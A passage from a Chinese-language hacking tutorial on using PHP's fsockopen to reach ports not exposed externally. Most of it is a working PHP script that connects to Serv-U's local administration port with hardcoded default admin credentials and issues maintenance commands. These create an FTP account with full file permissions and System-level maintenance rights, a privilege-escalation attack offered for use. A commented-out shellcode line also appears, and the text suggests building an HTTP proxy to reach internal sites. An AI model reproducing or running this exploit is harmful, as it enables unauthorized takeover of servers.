事实上，很多主机都是没有加载php_sockets.dll的，庆幸的是，不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”，我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子：

$adminuser=” LocalAdministrator”;

$adminpass=” #l@$ak#.lk;0@P”;

$adminport=” 43958”;

$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);

if (!$fp) {

echo "$errstr ($errno)
\n";

} else {

//可以写入$shellcode

// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");

sleep (1);

fputs ($fp, "PASS ".$adminpass."\r\n");

sleep (1);

fputs ($fp, "SITE MAINTENANCE\r\n");

sleep (1);

fputs ($fp, "-SETUSERSETUP\r\n");

fputs ($fp, "-IP=".$addr."\r\n");

fputs ($fp, "-PortNo=".$ftpport."\r\n");

fputs ($fp, "-User=".$user."\r\n");

fputs ($fp, "-Password=".$password."\r\n");

fputs ($fp, "-HomeDir=".$homedir."\r\n");

fputs ($fp, "-LoginMesFile=\r\n");

fputs ($fp, "-Disable=0\r\n");

fputs ($fp, "-RelPaths=0\r\n");

fputs ($fp, "-NeedSecure=0\r\n");

fputs ($fp, "-HideHidden=0\r\n");

fputs ($fp, "-AlwaysAllowLogin=0\r\n");

fputs ($fp, "-ChangePassword=1\r\n");

fputs ($fp, "-QuotaEnable=0\r\n");

fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");

fputs ($fp, "-SpeedLimitUp=-1\r\n");

fputs ($fp, "-SpeedLimitDown=-1\r\n");

fputs ($fp, "-MaxNrUsers=-1\r\n");

fputs ($fp, "-IdleTimeOut=600\r\n");

fputs ($fp, "-SessionTimeOut=-1\r\n");

fputs ($fp, "-Expire=0\r\n");

fputs ($fp, "-RatioUp=1\r\n");

fputs ($fp, "-RatioDown=1\r\n");

fputs ($fp, "-RatiosCredit=0\r\n");

fputs ($fp, "-QuotaCurrent=0\r\n");

fputs ($fp, "-QuotaMaximum=0\r\n");

fputs ($fp, "-Maintenance=System\r\n");

fputs ($fp, "-PasswordType=Regular\r\n");

fputs ($fp, "-Ratios=None\r\n");

fputs ($fp, " Access=".$homedir."　RWAMELCDP\r\n");

fputs ($fp, "QUIT\r\n");

sleep (1);

while (!feof($fp)) {

echo fgets ($fp,128);

}

}

?>

还可以利用fsockopen编写HTTP代理，从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy（图4），代码较长。有兴趣的读者可以看看。

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